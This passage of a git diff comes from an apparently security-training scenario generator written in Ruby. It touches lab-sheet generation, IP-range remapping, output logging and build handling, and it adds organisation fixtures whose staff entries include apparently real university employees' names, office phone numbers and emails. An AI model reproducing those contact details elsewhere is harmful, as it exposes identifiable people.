attack.xpath("tutorial").each do |tutorial_snippet| + lab_sheet += tutorial_snippet.content + "\n" + end + + lab_sheet += "#### #{name} Attack ##{index + 1}\n" + lab_sheet += "Use what you have learned to complete the bot's challenge. You can skip the bot to here, by saying '**goto #{index + 1}**'\n\n" + lab_sheet += "> #{name}: \"#{attack.xpath('prompt').first.content}\" \n\n" + lab_sheet += "Do any necessary preparation, then when you are ready for the bot to complete the action/attack, ==say 'ready'==\n\n" + if attack.xpath("quiz").size > 0 + lab_sheet += "There is a quiz to complete. Once Hackerbot asks you the question you can =='answer *YOURANSWER*'==\n\n" + end + lab_sheet += "Don't forget to ==save and submit any flags!==\n\n" + end + lab_sheet += hackerbot.xpath("tutorial_info/footer").first.content + "\n" + + lab_sheet + end + + def generate + + # Print.debug self.accounts.to_s + xml_template_out = ERB.new(File.read(self.config_template_path), 0, '<>-') + xml_config = xml_template_out.result(self.get_binding) + + lab_sheet_markdown = generate_lab_sheet(xml_config) + + redcarpet = Redcarpet::Markdown.new(Redcarpet::Render::HTML.new(prettify:true, hard_wrap: true, with_toc_data: true), footnotes: true, fenced_code_blocks: true, no_intra_emphasis: true, autolink: true, highlight: true, lax_spacing: true, tables: true) + self.html_rendered = redcarpet.render(lab_sheet_markdown).force_encoding('UTF-8') + redcarpet_toc = Redcarpet::Markdown.new(Redcarpet::Render::HTML_TOC.new()) + self.html_TOC_rendered = redcarpet_toc.render(lab_sheet_markdown).force_encoding('UTF-8') + html_template_out = ERB.new(File.read(self.html_template_path), 0, '<>-') + html_out = html_template_out.result(self.get_binding) + + json = {'xml_config' => xml_config.force_encoding('UTF-8'), 'html_lab_sheet' => html_out.force_encoding('UTF-8')}.to_json.force_encoding('UTF-8') + self.outputs << json.to_s + end + + # Returns binding for erb files (access to variables in this classes scope) + # @return binding + def get_binding + binding + end +end diff --git a/lib/objects/local_string_encoder.rb b/lib/objects/local_string_encoder.rb index 279884816..ed942e643 100644 --- a/lib/objects/local_string_encoder.rb +++ b/lib/objects/local_string_encoder.rb @@ -104,7 +104,17 @@ class StringEncoder Print.local_verbose "Encoding '#{encoding_print_string}'" encode_all - Print.local_verbose "Encoded: #{self.outputs.to_s}" + + # print the first 700 chars to screen + output = self.outputs.to_s + length = output.length + if length < 1000 + Print.local_verbose "Encoded: #{output}..." + else + Print.local_verbose "Encoded: #{output.to_s[0..1000]}..." + Print.local_verbose "(Displaying 1000/#{length} length output)" + end + puts has_base64_inputs ? base64_encode_outputs : self.outputs end diff --git a/lib/objects/local_string_generator.rb b/lib/objects/local_string_generator.rb index 559a39509..554299ef9 100644 --- a/lib/objects/local_string_generator.rb +++ b/lib/objects/local_string_generator.rb @@ -87,7 +87,17 @@ class StringGenerator Print.local_verbose "Generating..." generate - Print.local_verbose "Generated: #{self.outputs.to_s}" + + # print the first 1000 chars to screen + output = self.outputs.to_s + length = output.length + if length < 1000 + Print.local_verbose "Generated: #{output}..." + else + Print.local_verbose "Generated: #{output.to_s[0..1000]}..." + Print.local_verbose "(Displaying 1000/#{length} length output)" + end + puts has_base64_inputs ? base64_encode_outputs : self.outputs end diff --git a/lib/objects/system.rb b/lib/objects/system.rb index 14f44fccd..322a1e519 100644 --- a/lib/objects/system.rb +++ b/lib/objects/system.rb @@ -8,7 +8,7 @@ class System attr_accessor :module_selectors # (filters) attr_accessor :module_selections # (after resolution) attr_accessor :num_actioned_module_conflicts - attr_accessor :system_networks + attr_accessor :options #(command line options hash) # Initalizes System object # @param [Object] name of the system @@ -20,14 +20,66 @@ class System self.module_selectors = module_selectors self.module_selections = [] self.num_actioned_module_conflicts = 0 - self.system_networks = [] end # selects from the available modules, based on the selection filters that have been specified # @param [Object] available_modules all available modules (vulnerabilities, services, bases) + # @param [Object] options command line options hash # @return [Object] the list of selected modules - def resolve_module_selection(available_modules) + def resolve_module_selection(available_modules, options) retry_count = 0 + + # Replace $IP_addresses with options ip_ranges if required + begin + if options[:ip_ranges] and $datastore['IP_addresses'] and !$datastore['replaced_ranges'] + unused_opts_ranges = options[:ip_ranges].clone + option_range_map = {} # k = ds_range, v = opts_range + new_ip_addresses = [] + + # Iterate over the DS IPs + $datastore['IP_addresses'].each do |ds_ip_address| + # Split the IP into ['X.X.X', 'Y'] + split_ip = ds_ip_address.split('.') + ds_ip_array = [split_ip[0..2].join('.'), split_ip[3]] + ds_range = ds_ip_array[0] + '.0' + # Check if we have encountered first 3 octets before i.e. look in option_range_map for key(ds_range) + if option_range_map.has_key? ds_range + # if we have, grab that value (opts_range) + opts_range = option_range_map[ds_range] + # replace first 3 in ds_ip with first 3 in opts_range + split_opts_range = opts_range.split('.') + split_opts_range[3] = ds_ip_array[1] + new_ds_ip = split_opts_range.join('.') + # save in $datastore['IP_addresses'] + new_ip_addresses << new_ds_ip + else #(if we haven't seen the first 3 octets before) + # grab the first range that we haven't used yet from unused_opts_ranges with .shift (also removes the range) + opts_range = unused_opts_ranges.shift + # store the range mapping in option_range_map (ds_range => opts_range) + option_range_map[ds_range] = opts_range + # split the opts_range and replace last octet with last octet of ds_ip_address + split_opts_range = opts_range.split('.') + split_opts_range[3] = ds_ip_array[1] + new_ds_ip = split_opts_range.join('.') + # save in $datastore['IP_addresses'] + new_ip_addresses << new_ds_ip + end + end + $datastore['IP_addresses'] = new_ip_addresses + $datastore['replaced_ranges'] = true + end + rescue NoMethodError + required_ranges = [] + $datastore['IP_addresses'].each { |ip_address| + split_range = ip_address.split('.') + split_range[3] = 0 + required_ranges << split_range.join('.') + } + required_ranges.uniq! + Print.err("Fatal: Not enough ranges were provided with --network-ranges. Provided: #{options[:ip_ranges].size} Required: #{required_ranges.uniq.size}") + exit + end + begin selected_modules = [] @@ -249,7 +301,14 @@ class System end end # execute calculation script and format output to an array of Base64 strings - outputs = `ruby #{selected.local_calc_file} #{args_string}`.chomp + command = "ruby #{selected.local_calc_file} #{args_string}" + Print.verbose "Running: #{command}" + outputs = `#{command}`.chomp + unless $?.success? + Print.err "Module failed to run (#{command})" + # TODO: this works, but subsequent attempts at resolving the scenario always fail ("Error can't add no data...") + raise 'failed' + end output_array = outputs.split("\n") selected.output = output_array.map { |o| Base64.strict_decode64 o } end @@ -319,7 +378,7 @@ class System if /^.*defaultinput/ =~ def_unique_id def_unique_id = def_unique_id.gsub(/^.*defaultinput/, selected.unique_id) end - + default_modules_to_add.concat select_modules(module_to_add.module_type, module_to_add.attributes, available_modules, previously_selected_modules + default_modules_to_add, def_unique_id, module_to_add.write_output_variable, def_write_to, module_to_add.received_inputs, module_to_add.default_inputs_literals, module_to_add.write_to_datastore, module_to_add.received_datastores, module_to_add.write_module_path_to_datastore) end end @@ -378,14 +437,4 @@ class System modules_to_add end - def get_networks - if (self.system_networks = []) # assign the networks - self.module_selections.each do |mod| - if mod.module_type == 'network' - self.system_networks << mod - end - end - end - self.system_networks - end end \ No newline at end of file diff --git a/lib/output/project_files_creator.rb b/lib/output/project_files_creator.rb index 7e336f905..38a6b60c6 100644 --- a/lib/output/project_files_creator.rb +++ b/lib/output/project_files_creator.rb @@ -34,11 +34,26 @@ class ProjectFilesCreator # Generate all relevant files for the project def write_files + # when writing to a project that already contains a project, move everything out the way, + # and keep the Vagrant config, so that existing VMs can be re-provisioned/updated + if File.exists? "#{@out_dir}/Vagrantfile" or File.exists? "#{@out_dir}/puppet" + dest_dir = "#{@out_dir}/MOVED_#{Time.new.strftime("%Y%m%d_%H%M")}" + Print.warn "Project already built to this directory -- moving last build to: #{dest_dir}" + Dir.glob( "#{@out_dir}/**/*" ).select { |f| File.file?( f ) }.each do |f| + dest = "#{dest_dir}/#{f}" + FileUtils.mkdir_p( File.dirname( dest ) ) + if f =~ /\.vagrant/ + FileUtils.cp( f, dest ) + else + FileUtils.mv( f, dest ) + end + end + end + FileUtils.mkpath "#{@out_dir}" unless File.exists?("#{@out_dir}") FileUtils.mkpath "#{@out_dir}/puppet/" unless File.exists?("#{@out_dir}/puppet/") FileUtils.mkpath "#{@out_dir}/environments/production/" unless File.exists?("#{@out_dir}/environments/production/") - threads = [] # for each system, create a puppet modules directory using librarian-puppet @systems.each do |system| @currently_processing_system = system # for template access @@ -108,11 +123,11 @@ class ProjectFilesCreator end # Create the marker xml file - x2file = "#{@out_dir}/marker.xml" + x2file = "#{@out_dir}/flag_hints.xml" xml_marker_generator = XmlMarkerGenerator.new(@systems, @scenario, @time) xml = xml_marker_generator.output - Print.std "Creating marker file: #{x2file}" + Print.std "Creating flags and hints file: #{x2file}" begin File.open(x2file, 'w+') do |file| file.write(xml) @@ -121,6 +136,7 @@ class ProjectFilesCreator Print.err "Error writing file: #{e.message}" exit end + Print.std "VM(s) can be built using 'vagrant up' in #{@out_dir}" end @@ -130,20 +146,28 @@ class ProjectFilesCreator template_out = ERB.new(File.read(template), 0, '<>-') begin - File.open(filename, 'w+') do |file| + File.open(filename, 'wb+') do |file| file.write(template_out.result(self.get_binding)) end rescue StandardError => e Print.err "Error writing file: #{e.message}" - exit + Print.err e.backtrace.inspect end end # Resolves the network based on the scenario and ip_range. - def resolve_network(scenario_ip_range) +# In the case that both command-line --network-ranges and datastores are provided, we have already handled the replacement of the ranges in the datastore. +# Because of this we prioritise datastore['IP_address'], then command line options (i.e. when no datastore is used, but the --network-ranges are passed), then the default network module's IP range. + def resolve_network(network_module) + current_network = network_module + scenario_ip_range = network_module.attributes['range'].first + + # Prioritise datastore IP_address + if current_network.received_inputs.include? 'IP_address' + ip_address = current_network.received_inputs['IP_address'].first + elsif @options.has_key? :ip_ranges # if we have options[:ip_ranges] we want to use those instead of the ip_range argument. # Store the mappings of scenario_ip_ranges => @options[:ip_range] in @option_range_map - if @options.has_key? :ip_ranges # Have we seen this scenario_ip_range before? If so, use the value we've assigned if @option_range_map.has_key? scenario_ip_range ip_range = @option_range_map[scenario_ip_range] @@ -154,10 +178,14 @@ class ProjectFilesCreator @option_range_map[scenario_ip_range] = options_ips.first ip_range = options_ips.first end + ip_address = get_ip_from_range(ip_range) else - ip_range = scenario_ip_range + ip_address = get_ip_from_range(scenario_ip_range) end + ip_address + end + def get_ip_from_range(ip_range) # increment @scenario_networks{ip_range=>counter} @scenario_networks[ip_range] += 1 diff --git a/lib/resources/structured_content/organisations/bakery.json b/lib/resources/structured_content/organisations/bakery.json new file mode 100644 index 000000000..4ace56a35 --- /dev/null +++ b/lib/resources/structured_content/organisations/bakery.json @@ -0,0 +1,47 @@ +{ + "business_name": "Artisan Bakery", + "business_motto": "The loaves are in the oven.", + "business_address": "1080 Headingley Lane, Headingley, Leeds, LS6 1BN", + "domain": "artisan-bakery.co.uk", + "office_telephone": "0113 222 1080", + "office_email": "orders@artisan-bakery.co.uk", + "industry": "Bakers", + "manager": { + "name": "Maxie Durgan", + "address": "1080 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 222 1080", + "email_address": "maxie@artisan-bakery.co.uk", + "username": "maxie", + "password": "" + }, + "employees": [ + { + "name": "Matthew Riley", + "address": "1080 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 222 1080", + "email_address": "matt@artisan-bakery.co.uk", + "username": "matt", + "password": "" + }, + { + "name": "Emelie Lowe", + "address": "1080 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 222 1080", + "email_address": "emelie@artisan-bakery.co.uk", + "username": "emelie", + "password": "" + }, + { + "name": "Antonio Durgan", + "address": "1080 Headingley Lane, Headingley, Leeds, LS6 1BN", + "phone_number": "0113 222 1080", + "email_address": "antonio@artisan-bakery.co.uk", + "username": "antonio", + "password": "" + } + ], + "product_name": "Baked goods", + "intro_paragraph": [ + "Finest bakery in Headingley since 1900. Baked fresh daily. Bread loaves, teacakes, sweet and savoury treats. We are open from 9 am til 6 pm, every day except for bank holidays." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/bank.json b/lib/resources/structured_content/organisations/bank.json new file mode 100644 index 000000000..9105f64db --- /dev/null +++ b/lib/resources/structured_content/organisations/bank.json @@ -0,0 +1,47 @@ +{ + "business_name": "Northern Banking", + "business_motto": "We'll keep your money safe!", + "business_address": "123 The Headrow, Leeds, LS1 5RD", + "domain": "northernbanking.co.uk", + "office_telephone": "0113 000 0123", + "office_email": "enquiries@northernbanking.co.uk", + "industry": "Finance", + "manager": { + "name": "Heather Schmidt", + "address": "800 Bogisich Avenue, Oswaldohaven, Leeds, LS9 6NB", + "phone_number": "07836 581948", + "email_address": "h.schmidt@northernbanking.co.uk", + "username": "h_schmidt", + "password": "" + }, + "employees": [ + { + "name": "Zion Jacobson", + "address": "104 Cole Square, ", + "phone_number": "07880 057670", + "email_address": "z.jacobson@northernbanking.co.uk", + "username": "z_jacobson", + "password": "" + }, + { + "name": "Jonathan Ray", + "address": "644 Jackson Path, Leeds, LS2 4AJ", + "phone_number": "07893 001623", + "email_address": "j.ray@northernbanking.co.uk", + "username": "j_ray", + "password": "" + }, + { + "name": "Virginia Sullivan", + "address": "23 Jane Street, Harrogate, HG1 4DJ", + "phone_number": "07826 576277", + "email_address": "v.sullivan@northernbanking.co.uk", + "username": "v_sullivan", + "password": "" + } + ], + "product_name": "Financial Services", + "intro_paragraph": [ + "About Northern Bank","With roots back to its establishment in Huddersfield, West Yorkshire in 1805. Northern bank has a strong personal customer base and business banking capability though a UK-wide network. Northern Bank is a trading name of Big Bank PLC." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/fitness.json b/lib/resources/structured_content/organisations/fitness.json new file mode 100644 index 000000000..c0f0617f3 --- /dev/null +++ b/lib/resources/structured_content/organisations/fitness.json @@ -0,0 +1,48 @@ +{ + "business_name": "The Yorkshire Fitness Company", + "business_motto": "Get thi sen down't gym!", + "business_address": "15 Sheepscar Court, Leeds LS7 2BB", + "domain": "yorkshirefitco.co.uk", + "office_telephone": "0113 026 9999", + "office_email": "office@yorkshirefitco.co.uk", + "industry": "Health and Fitness", + "manager": { + "name": "Jerry Rivera", + "address": "15 Sheepscar Court, Leeds LS7 2BB", + "phone_number": "0113 026 9999", + "email_address": "jerry.rivera@yorkshirefitco.co.uk", + "username": "jerry_rivera", + "password": "" + }, + "employees": [ + { + "name": "Immanuel Bahringer IV", + "address": "15 Sheepscar Court, Leeds LS7 2BB", + "phone_number": "07688 112479", + "email_address": "immanuel.bahringer.iv@yorkshirefitco.co.uk", + "username": "immanuel_bahringer_iv", + "password": "" + }, + { + "name": "Anne Hunter", + "address": "15 Sheepscar Court, Leeds LS7 2BB", + "phone_number": "07791 179177", + "email_address": "anne.hunter@yorkshirefitco.co.uk", + "username": "anne_hunter", + "password": "" + }, + { + "name": "Katelin Langworth", + "address": "15 Sheepscar Court, Leeds LS7 2BB", + "phone_number": "07550 561978", + "email_address": "katelin.langworth@yorkshirefitco.co.uk", + "username": "katelin_langworth", + "password": "" + } + ], + "product_name": "", + "intro_paragraph": [ + "Experience Yorkshire's leading health and fitness club in the not far from the city centre. Established in 1990 The Yorkshire Fitness Company is committed to getting you the results you want.", + "If you like classes, the gym or a combo of both, our dedicated professional team of coaches & teachers are always available to motivate you and guide you towards your goals." + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/it_solutions.json b/lib/resources/structured_content/organisations/it_solutions.json new file mode 100644 index 000000000..c98ec7d37 --- /dev/null +++ b/lib/resources/structured_content/organisations/it_solutions.json @@ -0,0 +1,47 @@ +{ + "business_name": "Abacus Technology Solutions", + "business_motto": "Solving your problems so you don't have to.", + "business_address": "Unit 12, Lincoln St, Huddersfield HD1 6RX", + "domain": "abacus-technology.co.uk", + "office_telephone": "01484 850963", + "office_email": "office@abacus-technology.co.uk", + "industry": "IT Services", + "manager": { + "name": "Ellie Bosco", + "address": "Office 1, Unit 12, Lincoln St, Huddersfield HD1 6RX", + "phone_number": "07528 347828", + "email_address": "e.bosco@abacus-technology.co.uk", + "username": "ebosco", + "password": "" + }, + "employees": [ + { + "name": "Keara Harris", + "address": "Office 2, Unit 12, Lincoln St, Huddersfield HD1 6RX", + "phone_number": "07674 358645", + "email_address": "k.harris@abacus-technology.co.uk", + "username": "kharris", + "password": "" + }, + { + "name": "Janessa Rempel", + "address": "Office 2, Unit 12, Lincoln St, Huddersfield HD1 6RX", + "phone_number": "07644 118595", + "email_address": "j.rempel@abacus-technology.co.uk", + "username": "jrempel", + "password": "" + }, + { + "name": "Russell Ramirez", + "address": "Office 3, Unit 12, Lincoln St, Huddersfield HD1 6RX", + "phone_number": "01484 850963", + "email_address": "r.ramirez@abacus-technology.co.uk", + "username": "rramirez", + "password": "" + } + ], + "product_name": "IT Solutions", + "intro_paragraph": [ + "Providers of cloud services, backups, data recovery, hardware, off-the-shelf and bespoke software. 24/7 technical support available. Custom design and installation based on your companies needs!" + ] +} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/json_organisations b/lib/resources/structured_content/organisations/json_organisations new file mode 100644 index 000000000..bd124d211 --- /dev/null +++ b/lib/resources/structured_content/organisations/json_organisations @@ -0,0 +1,9 @@ +{"business_name":"Artisan Bakery","business_motto":"The loaves are in the oven.","business_address":"1080 Headingley Lane, Headingley, Leeds, LS6 1BN","domain":"artisan-bakery.co.uk","office_telephone":"0113 222 1080","office_email":"orders@artisan-bakery.co.uk","industry":"Bakers","manager":{"name":"Maxie Durgan","address":"1080 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"07645 289149","email_address":"maxie@artisan-bakery.co.uk","username":"maxie","password":""},"employees":[{"name":"Matthew Riley","address":"1080 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"07876 518651","email_address":"matt@artisan-bakery.co.uk","username":"matt","password":""},{"name":"Emelie Lowe","address":"1080 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"07560 246931","email_address":"emelie@artisan-bakery.co.uk","username":"emelie","password":""},{"name":"Antonio Durgan","address":"1080 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"07943 250930","email_address":"antonio@artisan-bakery.co.uk","username":"antonio","password":""}],"product_name":"Baked goods","intro_paragraph":["Finest bakery in Headingley since 1900. Baked fresh daily. Bread loaves, teacakes, sweet and savoury treats. We are open from 9 am til 6 pm, every day except for bank holidays."]} +{"business_name":"Northern Banking","business_motto":"We'll keep your money safe!","business_address":"123 The Headrow, Leeds, LS1 5RD","domain":"northernbanking.co.uk","office_telephone":"0113 000 0123","office_email":"enquiries@northernbanking.co.uk","industry":"Finance","manager":{"name":"Heather Schmidt","address":"800 Bogisich Avenue, Oswaldohaven, Leeds, LS9 6NB","phone_number":"07836 581948","email_address":"h.schmidt@northernbanking.co.uk","username":"h_schmidt","password":""},"employees":[{"name":"Zion Jacobson","address":"104 Cole Square, ","phone_number":"07880 057670","email_address":"z.jacobson@northernbanking.co.uk","username":"z_jacobson","password":""},{"name":"Jonathan Ray","address":"644 Jackson Path, Leeds, LS2 4AJ","phone_number":"07893 001623","email_address":"j.ray@northernbanking.co.uk","username":"j_ray","password":""},{"name":"Virginia Sullivan","address":"23 Jane Street, Harrogate, HG1 4DJ","phone_number":"07826 576277","email_address":"v.sullivan@northernbanking.co.uk","username":"v_sullivan","password":""}],"product_name":"Financial Services","intro_paragraph":["About Northern Bank","With roots back to its establishment in Huddersfield, West Yorkshire in 1805. Northern bank has a strong personal customer base and business banking capability though a UK-wide network. Northern Bank is a trading name of Big Bank PLC."]} +{"business_name":"Yorkshire Fitness Company","business_motto":"Get thi sen down't gym!","business_address":"15 Sheepscar Court, Leeds LS7 2BB","domain":"yorkshirefitco.co.uk","office_telephone":"0113 026 9999","office_email":"office@yorkshirefitco.co.uk","industry":"Health and Fitness","manager":{"name":"Jerry Rivera","address":"15 Sheepscar Court, Leeds LS7 2BB","phone_number":"0113 026 9999","email_address":"jerry.rivera@yorkshirefitco.co.uk","username":"jerry_rivera","password":""},"employees":[{"name":"Immanuel Bahringer IV","address":"15 Sheepscar Court, Leeds LS7 2BB","phone_number":"07688 112479","email_address":"immanuel.bahringer.iv@yorkshirefitco.co.uk","username":"immanuel_bahringer_iv","password":""},{"name":"Anne Hunter","address":"15 Sheepscar Court, Leeds LS7 2BB","phone_number":"07791 179177","email_address":"anne.hunter@yorkshirefitco.co.uk","username":"anne_hunter","password":""},{"name":"Katelin Langworth","address":"15 Sheepscar Court, Leeds LS7 2BB","phone_number":"07550 561978","email_address":"katelin.langworth@yorkshirefitco.co.uk","username":"katelin_langworth","password":""}],"product_name":"","intro_paragraph":["Experience Yorkshire's leading health and fitness club in the not far from the city centre. Established in 1990 The Yorkshire Fitness Company is committed to getting you the results you want.","If you like classes, the gym or a combo of both, our dedicated professional team of coaches & teachers are always available to motivate you and guide you towards your goals."]} +{"business_name":"Abacus Technology Solutions","business_motto":"Solving your problems so you don't have to.","business_address":"Unit 12, Lincoln St, Huddersfield HD1 6RX","domain":"abacus-technology.co.uk","office_telephone":"01484 850963","office_email":"office@abacus-technology.co.uk","industry":"IT Services","manager":{"name":"Ellie Bosco","address":"Office 1, Unit 12, Lincoln St, Huddersfield HD1 6RX","phone_number":"07528 347828","email_address":"e.bosco@abacus-technology.co.uk","username":"ebosco","password":""},"employees":[{"name":"Keara Harris","address":"Office 2, Unit 12, Lincoln St, Huddersfield HD1 6RX","phone_number":"07674 358645","email_address":"k.harris@abacus-technology.co.uk","username":"kharris","password":""},{"name":"Janessa Rempel","address":"Office 2, Unit 12, Lincoln St, Huddersfield HD1 6RX","phone_number":"07644 118595","email_address":"j.rempel@abacus-technology.co.uk","username":"jrempel","password":""},{"name":"Russell Ramirez","address":"Office 3, Unit 12, Lincoln St, Huddersfield HD1 6RX","phone_number":"01484 850963","email_address":"r.ramirez@abacus-technology.co.uk","username":"rramirez","password":""}],"product_name":"IT Solutions","intro_paragraph":["Providers of cloud services, backups, data recovery, hardware, off-the-shelf and bespoke software. 24/7 technical support available. Custom design and installation based on your companies needs!"]} +{"business_name":"Leeds Beckett","business_motto":"Computer Forensics and Security","business_address":"43 Church Wood Ave, Leeds LS16 5LF","domain":"leedsbeckett.ac.uk","office_telephone":"0113 81 23000","office_email":"study@leedsbeckett.ac.uk","industry":"Higher Education","manager":{"name":"Emlyn Butterfield","address":"115, Caedmon Hall, Headingley Campus","phone_number":"0113 81 24440","email_address":"E.Butterfield@leedsbeckett.ac.uk","username":"ebutterfield","password":""},"employees":[{"name":"Dr. Z. Cliffe Schreuders","address":"105, Caedmon Hall, Headingley Campus","phone_number":"0113 81 28608","email_address":"C.Schreuders@leedsbeckett.ac.uk","username":"zschreuders","password":""},{"name":"Dr. Maurice Calvert","address":"117, Caedmon, Headingley Campus","phone_number":"0113 81 27429","email_address":"M.Calvert@leedsbeckett.ac.uk","username":"mcalvert","password":""},{"name":"Dr. John Elliott","address":"108, Caedmon, Headingley Campus","phone_number":"0113 81 27379","email_address":"J.Elliott@leedsbeckett.ac.uk","username":"jelliott","password":""}],"product_name":"University Education","intro_paragraph":["Computer forensics involves the analysis of digital devices such as hard drives to identify and investigate their contents. Computer security involves using knowledge of computer systems and networks to protect businesses and users from malicious attacks.","This course combines these two fields of national importance and will teach you practical investigative and 'hacking' techniques. You will develop the skills to undertake rigorous forensic analysis and implement robust security mechanisms.","This is a hands-on course where you will learn through doing, gaining an in-depth knowledge of how to hack a computer to be able to protect it. You will learn where a computer hides data and how to recover information from a device."]} +{"business_name":"Leeds Beckett","business_motto":"Leeds Law School","business_address":"City Campus, Leeds LS1 3HE","domain":"leedsbeckett.ac.uk","office_telephone":"0113 81 23000","office_email":"study@leedsbeckett.ac.uk","industry":"Higher Education","manager":{"name":"Deveral Capps","address":"306, Portland Building, City Campus","phone_number":"0113 81 26085","email_address":"d.capps@leedsbeckett.ac.uk","username":"d_capps","password":""},"employees":[{"name":"Dr. Simon Hale-Ross","address":"306, Portland Building, City Campus","phone_number":"0113 8129526","email_address":"S.Haleross@leedsbeckett.ac.uk","username":"s_haleross","password":""},{"name":"Professor Simon Gardiner","address":"204, Rose Bowl, City Campus","phone_number":"0113 81 26414","email_address":"S.Gardiner@leedsbeckett.ac.uk","username":"s_gardiner","password":""},{"name":"Dr. Jessica Guth","address":"306, Portland Building, City Campus","phone_number":"0113 81 26403","email_address":"J.Guth@leedsbeckett.ac.uk","username":"j_guth","password":""}],"product_name":"University Education","intro_paragraph":["Our Law School sits in the heart of the great city of Leeds, the most important legal centre outside London and home to over 180 law firms employing in excess of 8,000 professionals. It is perfectly placed to ensure all our undergraduate, postgraduate, full and part-time students are able to mine the wealth of practical experience and employment opportunities available on our doorstep.","With state-of-the-art facilities, mentoring and career development opportunities, placements and a courtroom, students who choose Leeds Law School can expect a successful career founded on high calibre, practical teaching. We offer a broad variety of courses including our LLB, LLM Legal Practice (incorporating the LPC), LLM Qualifying Law Degree (incorporating the GDL) and LLM International Business Law, and each aims to give our graduates the enthusiasm, sharpness of mind and practical tools to thrive in competitive and fast-paced professional environments."]} +{"business_name":"Leeds Beckett","business_motto":"Music and Performing Arts","business_address":"43 Church Wood Ave, Leeds LS16 5LF","domain":"leedsbeckett.ac.uk","office_telephone":"0113 81 23000","office_email":"study@leedsbeckett.ac.uk","industry":"Higher Education","manager":{"name":"Dr Richard Stevens","address":"209, Caedmon, Headingley Campus","phone_number":"0113 81 23690","email_address":"R.C.Stevens@leedsbeckett.ac.uk","username":"r_stevens","password":""},"employees":[{"name":"Dr. Laura Griffiths","address":"Reception, Priestley Hall, Headingley Campus","phone_number":"n/a","email_address":"Laura.Griffiths@leedsbeckett.ac.uk","username":"l_griffiths","password":""},{"name":"Carl Flattery","address":"104, Caedmon, Headingley Campus","phone_number":"0113 81 27372","email_address":"C.Flattery@leedsbeckett.ac.uk","username":"c_flattery","password":""},{"name":"Sam Nicholls","address":"212, Caedmon, Headingley Campus","phone_number":"0113 81 23726","email_address":"S.Nicholls@leedsbeckett.ac.uk","username":"s_nicholls","password":""}],"product_name":"University Education","intro_paragraph":["The School of Film, Music & Performing Arts fosters a culture of creation and participation. We are proud shapers of, and contributors to, the cultural life of this great Northern city – a city that is the original birthplace of film. We nurture the arts pioneers of the future: influencers who will not just reflect the outside world, but impact upon it."]} +{"business_name":"Yorkshire Personal Health","business_motto":"We'll have you as good as new in no time.","business_address":"159 Longlands St, Bradford BD1 2PX","domain":"yorkspersonalhealth.co.uk","office_telephone":"01274 200700","office_email":"info@yorkspersonalhealth.co.uk","industry":"Medical Services","manager":{"name":"Angela Dickinson","address":"76103 Joshuah Path, Port Magali, Cambridgeshire, R1 1TR","phone_number":"01274 200700 ext 100","email_address":"a.dickinson@yorkspersonalhealth.co.uk","username":"dickinson_a","password":""},"employees":[{"name":"Abdullah Carroll","address":"Office A, 160 Longlands St, Bradford BD1 2PX","phone_number":"01274 200700 ext 101","email_address":"a.carroll@yorkspersonalhealth.co.uk","username":"carroll_a","password":""},{"name":"Annie Williamson","address":"Office B, 160 Longlands St, Bradford BD1 2PX","phone_number":"01274 200700 ext 103","email_address":"a.williamson@yorkspersonalhealth.co.uk","username":"williamson_a","password":""},{"name":"Jammie Marks","address":"Office B, 160 Longlands St, Bradford BD1 2PX","phone_number":"01274 200700 ext 110","email_address":"j.marks@yorkspersonalhealth.co.uk","username":"marks_j","password":""}],"product_name":"Check up","intro_paragraph":["A health assessment is more than a check up. It can be the start of a journey towards better health.","We use our health expertise to build a clear picture of where your current health is and identify potential future health risks. After your health assessment, we’ll give you guidance and support to help you become healthier today and in the future."]} +{"business_name":"Speedy Pizzas","business_motto":"Pizza done quick.","business_address":"195 Headingley Lane, Headingley, Leeds, LS6 1BN","domain":"speedypizzas.co.uk","office_telephone":"0113 123 3214","office_email":"info@speedypizzas.co.uk","industry":"Food","manager":{"name":"David Sand","address":"195 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"07879 635412","email_address":"dave@speedypizzas.co.uk","username":"d_sand","password":""},"employees":[{"name":"Cydney Hermann","address":"195 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"0113 123 3214","email_address":"cydney@speedypizzas.co.uk","username":"c_hermann","password":""},{"name":"Lori Marshall","address":"195 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"0113 123 3214","email_address":"lori@speedypizzas.co.uk","username":"l_marshall","password":""},{"name":"Andrea Martinez","address":"195 Headingley Lane, Headingley, Leeds, LS6 1BN","phone_number":"0113 123 3214","email_address":"andrea@speedypizzas.co.uk","username":"a_martinez","password":""}],"product_name":"Pizza","intro_paragraph":["Welcome to speedy pizzas. Piping hot food either in store or delivered to your door. Pizza takeaway, parmesan, kebabs and much more.","We are based in the centre of Headingley on Headingley lane and will deliver up to 3 miles for free, 1 quid per additional mile. Red hot pizza on delivery or your money back."]} \ No newline at end of file diff --git a/lib/resources/structured_content/organisations/lbu_forensics_security.json b/lib/resources/structured_content/organisations/lbu_forensics_security.json new file mode 100644 index 000000000..b50e5b0e6 --- /dev/null +++ b/lib/resources/structured_content/organisations/lbu_forensics_security.json @@ -0,0 +1,49 @@ +{ + "business_name": "Leeds Beckett- Computer Forensics and Security", + "business_motto": "", + "business_address": "43 Church Wood Ave, Leeds LS16 5LF", + "domain": "leedsbeckett.ac.uk", + "office_telephone": "0113 81 23000", + "office_email": "study@leedsbeckett.ac.uk", + "industry": "Higher Education", + "manager": { + "name": "Emlyn Butterfield", + "address": "115, Caedmon Hall, Headingley Campus", + "phone_number": "0113 81 24440", + "email_address": "E.Butterfield@leedsbeckett.ac.uk", + "username": "ebutterfield", + "password": "" + }, + "employees": [ + { + "name": "Dr. Z. Cliffe Schreuders", + "address": "105, Caedmon Hall, Headingley Campus", + "phone_number": "0113 81 28608", + "email_address": "C.Schreuders@leedsbeckett.ac.uk", + "username": "zschreuders", + "password": "" + }, + { + "name": "Dr. Maurice Calvert", + "address": "117, Caedmon, Headingley Campus", + "phone_number": "0113 81 27429", + "email_address": 